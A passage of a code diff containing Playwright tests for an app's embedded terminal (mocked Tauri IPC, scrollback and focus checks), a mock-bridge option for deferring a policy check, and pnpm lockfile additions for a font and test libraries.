* `__TAURI_INTERNALS__` and traps the `invoke` assignment `mockIPC` makes:
* terminal commands are answered here, everything else falls through to the
* real mock bridge.
*/
async function installTerminalBackend(page: Page) {
await page.addInitScript(() => {
const w = window as typeof window & {
isTauri?: boolean;
__TAURI_INTERNALS__?: Record<string, unknown>;
__SAMI_TERM__?: unknown;
};
w.isTauri = true;
const state = {
deliver: null as ((message: unknown) => void) | null,
scrolls: [] as number[],
inputs: [] as string[],
subscriptionId: "sami-sub-1",
columns: 80,
screenLines: 24,
sequence: 0,
};
w.__SAMI_TERM__ = state;
const internals: Record<string, unknown> = {};
let inner: ((cmd: string, args: unknown, opts: unknown) => unknown) | null =
null;
Object.defineProperty(internals, "invoke", {
configurable: true,
get:
() => (cmd: string, args: Record<string, unknown>, opts: unknown) => {
switch (cmd) {
case "terminal_attach": {
const channel = args.onFrame as {
onmessage: (m: unknown) => void;
};
state.deliver = (message) => channel.onmessage(message);
return Promise.resolve({
sessionId: `sami-session-${state.sequence}`,
subscriptionId: state.subscriptionId,
viewport: {
generation: 1,
columns: state.columns,
screenLines: state.screenLines,
},
});
}
case "terminal_resize":
state.columns = args.columns as number;
state.screenLines = args.rows as number;
return Promise.resolve({
generation: 1,
columns: state.columns,
screenLines: state.screenLines,
});
case "terminal_input":
state.inputs.push(args.data as string);
return Promise.resolve(null);
case "terminal_scroll":
state.scrolls.push(args.lines as number);
return Promise.resolve(null);
case "terminal_viewport_ready":
case "terminal_ack":
case "terminal_focus":
case "terminal_detach":
case "terminal_close":
return Promise.resolve(null);
default:
if (!inner) throw new Error(`no mock bridge for ${cmd}`);
return inner(cmd, args, opts);
}
},
set: (fn: (cmd: string, args: unknown, opts: unknown) => unknown) => {
inner = fn;
},
});
w.__TAURI_INTERNALS__ = internals;
});
}
async function pushFrame(
page: Page,
rows: { line: number; text: string }[],
cursor: { line: number; column: number },
) {
await page.evaluate(
({ rows, cursor, fg, bg }) => {
const state = (
window as typeof window & {
__SAMI_TERM__: {
deliver: ((m: unknown) => void) | null;
subscriptionId: string;
columns: number;
screenLines: number;
sequence: number;
};
}
).__SAMI_TERM__;
state.sequence += 1;
state.deliver?.({
type: "frame",
payload: {
subscriptionId: state.subscriptionId,
sequence: state.sequence,
bracketedPaste: false,
focusReporting: false,
full: true,
viewport: {
generation: 1,
columns: state.columns,
screenLines: state.screenLines,
},
cursor: { ...cursor, visible: true },
rows: rows.map(({ line, text }) => ({
line,
spans: [
{
style: { fg, bg, flags: 0 },
clusters: [...text].map((ch, index) => ({
column: index,
text: ch,
width: 1,
})),
},
],
})),
},
});
},
{ rows, cursor, fg: FG, bg: BG },
);
}
async function reveal(page: Page) {
await page.setViewportSize({ width: 1280, height: 800 });
await installTerminalBackend(page);
await installMockBridge(page);
await page.goto("/");
await expect(page.getByTestId("home-inbox-list")).toBeVisible();
// Buzz Term needs a channel: TerminalBootstrap's context is null on Home, so
// no session spawns and the chord is inert.
await page.getByTestId("channel-general").click();
await expect(page.getByTestId("chat-title")).toHaveText("general");
await page.keyboard.press("Meta+j");
await expect(page.locator(TERM)).toHaveAttribute(
"data-terminal-owner",
"terminal",
);
// data-terminal-owner flips synchronously at chord-up; the 360ms reveal fade
// is still running. Every capture below must wait for it to settle or it
// photographs a half-faded app surface and reads as a rendering defect.
await expect
.poll(async () =>
page
.locator(".buzz-huddle-app-surface")
.evaluate((el) => getComputedStyle(el).opacity),
)
.toBe("0");
}
test("scrollback: wheel over Buzz Term reaches terminal_scroll", async ({
page,
}) => {
await reveal(page);
await pushFrame(page, [{ line: 0, text: "buzz@term:~$ " }], {
line: 0,
column: 13,
});
await page.mouse.move(640, 500);
await page.mouse.wheel(0, -17 * 5);
await page.mouse.wheel(0, 17 * 2);
const scrolls = await page.evaluate(
() =>
(window as typeof window & { __SAMI_TERM__: { scrolls: number[] } })
.__SAMI_TERM__.scrolls,
);
console.log("SCROLLS", JSON.stringify(scrolls));
expect(scrolls).toEqual([-5, 2]);
});
test("terminal viewport click retains keyboard input ownership", async ({
page,
}) => {
await reveal(page);
const input = page.getByLabel("Terminal input");
await expect(input).toBeFocused();
await page
.locator(".buzz-terminal-viewport")
.click({ position: { x: 40, y: 40 } });
await expect(input).toBeFocused();
await page.keyboard.type("FOCUS_KEYSTROKE");
await expect
.poll(async () =>
page.evaluate(() =>
(
window as typeof window & { __SAMI_TERM__: { inputs: string[] } }
).__SAMI_TERM__.inputs.join(""),
),
)
.toContain("FOCUS_KEYSTROKE");
});
test("concealed terminal viewport does not steal Buzz focus", async ({
page,
}) => {
await reveal(page);
await page.keyboard.press("Meta+j");
await expect(page.locator(TERM)).toHaveAttribute(
"data-terminal-owner",
"buzz",
);
const input = page.getByLabel("Terminal input");
await expect(input).not.toBeFocused();
await page.locator(".buzz-terminal-viewport").click({
force: true,
position: { x: 40, y: 40 },
});
await expect(input).not.toBeFocused();
});

View File

@@ -316,10 +316,15 @@ type MockBridgeOptions = {
observerArchiveDefaultEnabled?: boolean;
/**
* Delay (ms) applied to `observer_archive_default_enabled` so specs can
* assert the pending-reconciliation state (toggle disabled, no
* `list_save_subscriptions` call yet) before the policy resolves.
* exercise short-lived loading UI. Prefer the explicit defer/release seam
* when asserting behavior while the policy check is pending.
*/
observerArchiveDefaultEnabledDelayMs?: number;
/**
* Hold `observer_archive_default_enabled` until the test calls
* `__BUZZ_E2E_RELEASE_OBSERVER_ARCHIVE_POLICY__`.
*/
deferObserverArchiveDefaultEnabled?: boolean;
/**
* When set, `observer_archive_default_enabled` throws with this message —
* drives the fail-closed path when the policy check itself fails.

14
pnpm-lock.yaml generated
View File

@@ -84,6 +84,9 @@ importers:
'@fontsource-variable/inter':
specifier: ^5.2.8
version: 5.2.8
'@fontsource/jetbrains-mono':
specifier: ^5.3.0
version: 5.3.0
'@mediapipe/tasks-vision':
specifier: ^0.10.35
version: 0.10.35
@@ -259,6 +262,9 @@ importers:
'@tauri-apps/cli':
specifier: ~2.11
version: 2.11.2
'@testing-library/react':
specifier: ^16.3.2
version: 16.3.2(@testing-library/dom@10.4.1)(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
'@types/react':
specifier: ^19.1.8
version: 19.2.17
@@ -268,6 +274,9 @@ importers:
'@vitejs/plugin-react':
specifier: ^6.0.0
version: 6.0.3(vite@8.0.16(@types/node@25.6.0)(jiti@2.7.0)(yaml@2.9.0))
jsdom:
specifier: ^27.4.0
version: 27.4.0(@noble/hashes@2.2.0)
nostr-tools:
specifier: ^2.23.3
version: 2.23.12(typescript@6.0.3)
@@ -660,6 +669,9 @@ packages:
'@fontsource-variable/inter@5.2.8':
resolution: {integrity: sha512-kOfP2D+ykbcX/P3IFnokOhVRNoTozo5/JxhAIVYLpea/UBmCQ/YWPBfWIDuBImXX/15KH+eKh4xpEUyS2sQQGQ==}
'@fontsource/jetbrains-mono@5.3.0':
resolution: {integrity: sha512-fqDfB5I9f1p1TV486aUgB9t8zP84P0O1FtQR5Ol9vjwPy+S+EIGlVYm1cvj2W5shcZMTg2nZFdVMoH5wFu8a1A==}
'@isomorphic-git/idb-keyval@3.3.2':
resolution: {integrity: sha512-r8/AdpiS0/WJCNR/t/gsgL+M8NMVj/ek7s60uz3LmpCaTF2mEVlZJlB01ZzalgYzRLXwSPC92o+pdzjM7PN/pA==}
@@ -3988,6 +4000,8 @@ snapshots:
'@fontsource-variable/inter@5.2.8': {}
'@fontsource/jetbrains-mono@5.3.0': {}
'@isomorphic-git/idb-keyval@3.3.2': {}
'@isomorphic-git/lightning-fs@4.6.2':